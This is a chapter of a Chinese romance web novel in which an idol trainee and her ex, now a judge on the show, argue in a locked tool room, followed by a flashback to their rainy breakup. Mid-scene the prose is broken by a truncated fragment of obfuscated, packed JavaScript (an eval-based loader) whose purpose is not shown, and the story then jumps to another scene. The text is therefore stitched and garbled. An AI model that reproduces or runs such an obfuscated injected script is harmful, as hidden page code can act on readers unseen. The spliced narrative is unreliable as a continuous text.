“但后面那个舞台加成真的很大，有谁能跳成这样，观赏性比任薇时还好一点。” A班共进11人，B班9人，C班12人。 一共32个人，祁致照着最终评级单一一念完。 都没有沈亦凝的名字，而毫无意外的，任薇时进了A。 从D班到F班，祁致不再继续念，而是把最终评级表递给身旁坐着的贺彦，示意他念。 贺彦名气最低，各种cue流程的环节并没有他，虽不解祁致这是何意，但是他也很爽快地直接接过，宣布了剩下几个班级的晋级人选。 毕竟这种能够增加自己镜头的机会谁愿意错过呢，更别说宣布最终评级这种事儿，是最受关注和最容易被人剪辑切片出来的。 D班首位成员——沈亦凝。 这个结果在意料之外却又在情理之中。 battle的个人舞台只是一种加成，但是最终评级肯定还是要看集体评级，这样才是真正公平。 对于这个结果，沈亦凝丝毫不意外，甚至一点儿失落的情绪都没有。 她并不在乎结果的那点虚名，她只是单纯想要一个舞台和一个做自己的机会。 首期录制结束，练习生们依次退场，下次录制是下午五点半，按照首次评级的班级进行分组选歌，训练五天，而后进行第一轮比赛。 五天的录制基本上都是练习室日常。 沈亦凝离场时故意放慢了脚步，实际上她坐在金字塔尖，离场时本就落在最后。 待她缓慢走出表演录制大厅，里边的人早已所剩无几。 沈亦凝快速回头看一眼，视线落在评委席上的祁致身上，只短暂两秒钟，又迅速移开。 她不知自己这是在做什么，但她想，自己只是单纯想多看他一眼。 也有很多话很想很想跟他说。 譬如，battle这事是不是他故意的？想借机再给她一个舞台，可他又如何能确定她一定会主动拿下这个机会。 以及他到底是否真的明白她刚才对他的隔空暗示。她害怕自己自作多情，于是想要得到个确切的回答。 沈亦凝脚步刻意放得很迟缓，她不得不承认，现在她非常想有一个跟他单独说话的机会，哪怕就只有一分钟。 但她知道这是不可能的事情，这儿人多眼杂，他又是公众人物，往常躲镜头都如此困难，更何况是现在。 沈亦凝心情复杂地走出门口，前往电梯间，此时正是聚众搭乘电梯的高峰期。 她向来不愿意人挤人，斜眼瞥到旁边有个虚掩的大门，猜测那儿应该是楼梯间。 不过是几层楼而已，爬楼梯估计都要比等电梯更快，一趟电梯最多也就下十几个人，等电梯估计要等到猴年马月。 沈亦凝不动声色地远离人群，推开那虚掩的门走了进去，里边有些暗，只有熹微光线，她往前走了两步，忽地发现有些不太对劲。 原来并非楼梯间，而是用来存放各种工具的工具房。 沈亦凝心道，真是自己实在是太过刻板印象了，竟下意识以为电梯旁边就应该是楼梯间。 她转身打算退出去，突然一双鞋子十分突兀地出现在她眼前。 她狠狠吓了一跳，抬头，晦暗光线之下是一张熟悉的脸。 27. 藕断丝连 Love cant 祁致推门而进，进来时还顺手掩了一下门。 沈亦凝愣了一瞬，没想到竟然有除了她之外的第二人走进工具房，甚至还是个熟人，心道他难不成也走错了？ 祁致见她愣着，幽深的视线紧紧落在她身上，主动开口，“你有话要跟我说？” “什么？”她没听懂，反应有点儿慢半拍。毕竟他这开场白也的确太直白了些，没有一点儿铺垫，直接便切入正题。 “离开大厅时你看了我一眼。”祁致目光沉沉，只是视线太暗，她压根没办法看得清楚，他又重复了一遍，“难道不是有话要跟我说？” 的确，她刚才确实偷看了他一眼，但那也只是一瞬间的事情，他这是怎么发现的，难不成在身上装了雷达，而且他竟然会主动来找上她来。 不过这并不是很重要的事情，重要的是如今隔着一扇虚掩的门，门外就是人来人往的人流和摄像头，一旦被发现，对于两个人的事业就是毁灭性的影响。 即使说话也不该是这样的场合，她开口，“我们这样……” “不会被其他人发现。”祁致勾着嘴角，似笑非笑地说，“毕竟没人会误以为这是楼梯间，然后推门走进来。更何况这样的场景也不是第一次了不是吗？” 又不是第一次偷偷摸摸私下见面了。 难道还没躲习惯吗？ 沈亦凝愣住两秒，后知后觉他这是在点她。 也许他上辈子就是她肚子里的蛔虫，又一次准确猜到了她的想法和动机，仿佛是一副多么了解她的样子。 就像以前她只需要一个眼神或者是一个小动作，他就能够猜到她究竟在想些什么要做什么。 但她却一直都猜不到他的心思。 这让她有一种被掌控的错觉，她轻颤眼睫，明明刚才很多话想问，此时人真的站到她面前了，她一时之间却竟然不知说些什么。 祁致知道她应该是又遇到了很棘手的事情，否则刚才也不会用那样一种求助性的眼神看着他，毕竟她这个姑娘极其要强也要面子，能找上他帮忙估计是走投无路的选择。 她此时沉默着，他也不再逼问，只是站在她面前安静等待，给她时间组织语言。 沈亦凝在心里纠结了一会儿，“我现在一时之间拿不出20万版权费”这句话卡在喉咙里，怎么也说不出来。 说来也奇怪，明明也就一句话的事情，说出来估计也就只需要几秒钟，可面对祁致开口却是如此困难，于是她只有不答反问，“你怎么会突然跟过来找我？” 黑暗中，沈亦凝十分清楚地听到一阵轻笑声，他纠正道，“不是我突然找你，是你刚才先主动招惹我，在上舞台之前，你盯着我看，明明是在寻求我的帮助。” 祁致朝她所在的方向走过去两步，不动声色拉近两人的距离。 末了，他缓缓补充，“请别告诉我这是我的错觉。” “……”沈亦凝表情变得有点复杂，“你原来真的猜到了。” 意料之中却又不可置信。 即使沈亦凝早就有心理准备，此时此刻还是控制不住地身体一僵，心跳不合时宜地开始加速。 她不懂为何会这样，心率控制不住地加快。是因为他还记得曾经他随手对她许下的承诺而感到有些吃惊，还是因为他居然会对她这个前任出手相助而觉得有点感动？ 也许都有。 祁致说，“其实很明显也很容易猜，再说了你不是也看出来我猜到了吗？” 否则她也不会上一秒还踌躇不安，下一秒就突然有底气登上舞台。 沈亦凝突然觉得有点呼吸困难，“但我真没想到你真的还会答应帮我。” 话落，沉默毫无预兆横亘在他们之间，两个人谁也没有再说话。 因为他们明确知道，这也许有点儿越界，无论是她主动向他发起求助，还是他答应她并且主动找过来。 其实都像是在像对方释放某些信号。 一个说，“我需要你”。 另一个回答，“行吧，你可以依靠我。” 他们心知肚明，这就不应该是前任对前任之间能做出来的事情，除非两人之间都对对方存有最后一丝感情。 她信任他，他也愿意伸以援手。 这还不够说明存在什么问题吗？ 他们都是成年人，而且以前那是那样亲密无间的关系，刚才舞台上缠绵的几十秒对视，就足够让他们很快能猜到对方可能对自己还存在一丝情谊。 只是暂时摸不清多与少。 沈亦凝抓住一丝希冀，忍不住开始试探，“你为什么还会答应帮我？” ——你难道还喜欢我？ 祁致反问，“那你又为何会想到找我帮忙，又或者说是什么原因让你觉得，我一定会帮你？” ——其实你也还是喜欢我的吧？ 沈亦凝偏过头去，不愿承认，“因为我实在没办法了，当时场上唯一能够帮忙的人就是你。” 祁致眼神渐渐沉了下来，“哦，是吗？那你这是说，如果说场上有第二个熟人，就永远也不会搭理我的意思。” “……应该不会。” 沈亦凝说的是实话。 毕竟那可是20万，而且这很有可能只是一个保底价格，估计版权费还要更高，她是有多自信，才会觉得前任会帮她。 如果当时场上有第二个人存在，她应该会寻求其他人的帮助。 因为把自己落魄的一面展现在前任面前，总会让她觉得有点莫名的觉得丢脸。 话落，空气里隐隐约约开始浮起火药味。 祁致问，“那除了我，你希望的那第二个熟人是谁？” “什么啊……”那只是假设而已。 祁致其实还想问她，“是段穆言吗？”但还是忍了下来。 他语气里蒙上一层寒意，“的确，我也早就该猜到的，曾经男朋友PK你的事业都输得一败涂地，现在只是前男友，分量自然就更轻了，连上赶着帮忙都要看是否是个好时机。” “我只是觉得前任之间不应该有联系，也不该藕断丝连。” “如果没有感情怎么能算藕断丝连。”祁致站在她面前，眼神透过熹微的光线定定地无言地锁住她，声音很淡，“你难道觉得我们之间还有可能？” 他在问她，明显想得到一个肯定的答案。 沈亦凝却十分自然且容易地曲解了他的意思，认为他的言外之意是：你难道觉得我们之间还有可能？别开玩笑了，我们之间已经没有可能了，收起你心里那种可笑的想法。 她心里像堵着一团气，上不去也下不来。 也是，当初是她主动选择分手，如今再重逢，相隔这么多年，即使有情，不过也只是所剩无几。 至于其它的可能……其实早就已经绝无可能。 当时她处于事业巅峰期，害怕两人感情影响自己事业，那他现在又何曾不是？如今的他估计也不会赌上事业跟她纠缠。 沈亦凝明白了，她收起自己刚才那些可耻的心动和猜想，语气开始控制不住地变得硬邦邦，她斩钉截铁道，“没有可能。” 替自己回答，也顺便替他回答。 祁致沉默了许久，突然开口，“我早就知道。” 他早就知道什么？她怎么反而听不明白了。 祁致微垂眼眸，掩下眼底翻涌的情绪，后退一步，和她拉开距离。 再开口时声音突然又冷了一些，甚至还带着几分落寞，也不清楚究竟是不是她的错觉。 他说，“放心吧，你有困难跟我说清楚，即使以后没有任何可能，我也会尽可能帮你这一次。” 沈亦凝的心突然变得有点闷。 在她看来，祁致这一番话依旧是在跟她划清界限。 毕竟他这样的人，遇到前女友落魄的时候，不计前嫌伸以援手的确符合他的个人风格，与情爱无关。 沈亦凝不再试探了，或者说她早就已经得到了一个答案，那就是——他并非对她余情未了，之所以选择答应帮她，也只是单纯出于一个成年人的体面处理方式。 沈亦凝深吸一口气，心里默默自嘲了一下。 所以她是为什么会自作多情，会以为祁致之前帮她开门给她药膏，是还对她没完全放下，甚至觉得他刚才提出battle这个节目组原来并没有的环节，是为了给她一个机会呢？ 其实只是她误打误撞撞上去而已，毕竟他又不是先知，怎么就能如此精准猜到这个机会会如此精准地落到她的头上。 而之所以答应帮她，那就更好解释了。毕竟她在舞台的时候，都那样可怜巴巴地主动求他了，他总不可能不答应吧。 所以呢，她到底在期待什么？ 她觉得自己简直就像《东京爱情故事》中赤名莉香，先提前离开约定的车站，表面洒脱实则恐惧被抛弃，明明先选择的放手，却渴望被挽留。 她也讨厌这样的自己，主动分手现在却又渴望他还放不下自己，矛盾且纠结，可怜又可恨。 现实自然狠狠打了她的脸。 沈亦凝突然就不想跟他提歌曲版权费的事情了，现在的她想快点离开这里。 刚才她的确误以为他也许对她还有情，否则怎么可能三番两次帮她，甚至录制之前还让工作人员把药膏带给她。 阔别多年，他还对她这么好，她会误会也不是没有道理吧？ 也是因为这个原因，所以刚才在舞台上，她在突然面对导演言语之中的隐形要挟时，再加上那样紧急的场合，她大脑一片空白，才会把评委席的他当成了最后的救命稻草。 但现在冷静下来，她突然不愿意让他帮忙了。 他已经和她清楚地划清界限，她难道还要上赶着把自己的低谷和事业失意的落寞毫无保留曝光在他面前吗？ 现在冷静下来，思考一番之后，她发现自己并非一定要求他。毕竟20万的版权费而已而已，没有祁致帮忙，她还有孟觅夏不是么，是在不行还有段穆言，实在不行甚至仍然有最后一条退路去银行贷款。 总归还没有到彻底绝望到必须找祁致帮忙的地步。 他都已经如此直白地撇清两人之间的关系，明确表示她们之间不可能。 沈亦凝想给自己留最后一点尊严，她侧身想绕过他，走出去，“谢谢你愿意帮我，但是我现在不需要帮助了，我现在想先走了。” 祁致轻皱眉。 她的语气和说话措辞怎么突然变得如此疏离和官方。 他难道刚才又惹到她了不成？ 祁致不着痕迹直接挡在她面前，“你还没说清楚找我什么事。” “这件事情我现在可以自己解决。” 祁致显然没有轻易相信，“真的？” 沈亦凝轻描淡写，“对，小事而已。” “小事，你觉得我会信吗？如果是小事，你压根也不会主动找我。”祁致语气有些隐隐地自嘲，“毕竟对我这个前任，你不是一向都喜欢躲得越远越好。” “你真的要继续追问下去吗，其实你也不需要这么关心我的事。” 沈亦凝轻轻咬了咬牙，硬邦邦地开口说，“毕竟我只是一个不可能的前任而已，是死是活也没那么重要。” 祁致十分精准地抓住她语气中夹杂着不太对劲的情绪，听起来像是有种隐隐地生气。 就像一座失眠欲醒的火山，随时都要喷发。 祁致一时之间竟然不知道应该露出一个什么样的表情去面对她。 怎么，刚才主动找他帮忙的是她，现在突然说不要帮忙的人也是她，甚至先斩钉截铁地直接说出“没有可能”这四个字，急于和他撇清关系的人依旧是她。 他都还没来得及生气和难过，她凭什么跟他发脾气。 他问，“沈亦凝，你为什么突然生气？” 沈亦凝突然意识到自己的失态，是啊，她为什么会莫名其妙生气。只是试探到他的确完全不喜欢自己而已，这不是她以前要的结局吗？ 为什么心脏闷到抽疼，为何还会失控。她缓慢调整回来，没有去看他的眼睛，“抱歉，我有点累了，想回去睡一觉，毕竟下午还要录制，总之非常感谢你愿意帮我，我现在的确不需要……” “不管你究竟需不需要，你至少先把话说清楚，你遇到什么困难了？我想这应该不会耽误你太久时间。” “我已经能解决了。” “但我现在想知道，你不说我不会放你出去。”他微侧过身，直接把门给反锁，轻笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她这样逗他玩真的好玩吗？ 祁致没松手，要让她知道把自己当狗遛总要付出一点代价。 他的语气染上几分薄怒，咬牙切齿地说，“你说话啊，你告诉我你究竟是什么意思，如果你不需要我，能不能不要做出这种让人误会你需要我的行为，我也是有脾气的，有时候真的会被你逼疯！” 沈亦凝被吓了一跳，他怎么可以这样欺负她。 她想后退，却怎么样也逃不脱他的掌控，她闭上眼睛，下一秒睁开的瞬间，动作利落地张口，精准地咬在钳制她下巴的那只手上。 骨节分明的虎口处多了一个触目惊心的牙印。 这发疯似的一咬，却直接把两个人都咬冷静了。 直到快要咬出血了，沈亦凝才松了口，她迅速低下头，“对不起。” “你厉害。”祁致冷静下来，松了手，小幅度甩了甩手缓解一下疼痛，语气有点儿幽怨地说，“每次都能够精准咬到这个位置。” 沈亦凝的头垂得更低了。 明明是他先莫名其妙先弄她的，她只是反抗而已……但是很显然她做不到像他那样有分寸，一不小心就弄伤他了。 沈亦凝从兜里摸了一下，还真的摸出一瓶药膏，正是刚才工作人员悄悄递给她的那瓶。 跌打损伤一般外伤都可以用，像祁致虎口处的咬伤应该也能用。 她把药膏递过去给他，“给你。” 祁致没接，轻皱眉，警觉道，“你这是干什么？” “我把它还给你，你手受伤了。” 祁致的呼吸突然变得有些沉，像是强压着怒气，“怎么，又这么着急把东西还给我跟我划清界限，这已经第二次了。” 她划清界限？ 刚才着急和她切割的人，明明是他好不好？ 沈亦凝忍住心里一阵阵地抽痛，没什么好气地说，“你现在坐拥粉丝几千万，是正当红的顶流歌手，而我现在就是一个普普通通的小糊咖，我们划清界限不是应该的吗，对你对我都好，也如你我的意。” “如意？如谁的意，你还真挺会为我着想。”祁致自嘲般地轻扯嘴角，语气有些讽刺道，“有时候我真的一样你可不可以多了解我一点，事业于我而言压根没这么重要。如果是单纯为了事业加成，我压根就不会来参加这个综艺，我如果不是因为……” 说到这里，祁致猛地停住。 他的耳畔回响起吉皋警告他时说的那句话，“喜欢跟咳嗽一样，是藏不住的，你能控制住在她面前不露出蛛丝马脚，那才有鬼。” 祁致闭了闭眼，警告自己—— Lovecan''tbehidden，你现在已经快露馅了。 他绷直唇线，不敢继续透露哪怕半分的真心。 多年前分手时的那个夜晚，淋漓的雨在朦胧的夜里决堤，伴随着电闪雷鸣。他像淋湿的小狗一遍又一遍地问她“真要分手”？他恨不得把整颗心掏出来给她，却又眼睁睁看着她亲手摔碎。 她垂下眼睫，冷冷地留下一句话，“我是不会跟你复合的，你不要纠缠我了好不好？” 那夜的冷风刺透他的心脏，雨水铺满了他的湿发，他垂眸看向她，漆黑深邃的双眸像是被她冷漠疏远的狠话烫出一道伤疤。 祁致总以为自己能够懂得她的言不由衷，但被推远的次数多了，他有时候也会分不清她说的哪句是真的哪句是假的。 于是他退缩了。 因为不确定自己在她心中的分量比起前途有多少，所以不敢再继续深入纠缠。 有些关系体面地停留在还没完全撕破脸的位置，以后再见面还不至于是仇人。 “我知道了。” 祁致把伞递过她的头顶，独自一个人站在雨里。 大雨把他整个人淋湿，让人分不清脸上分不清是雨还是泪水，只能清楚地看到他的眼尾有些发红。他说，“我理解你的选择，出道快乐。” 只是他没说出口的后半句话是： 但我很难过。 我也真的很舍不得你。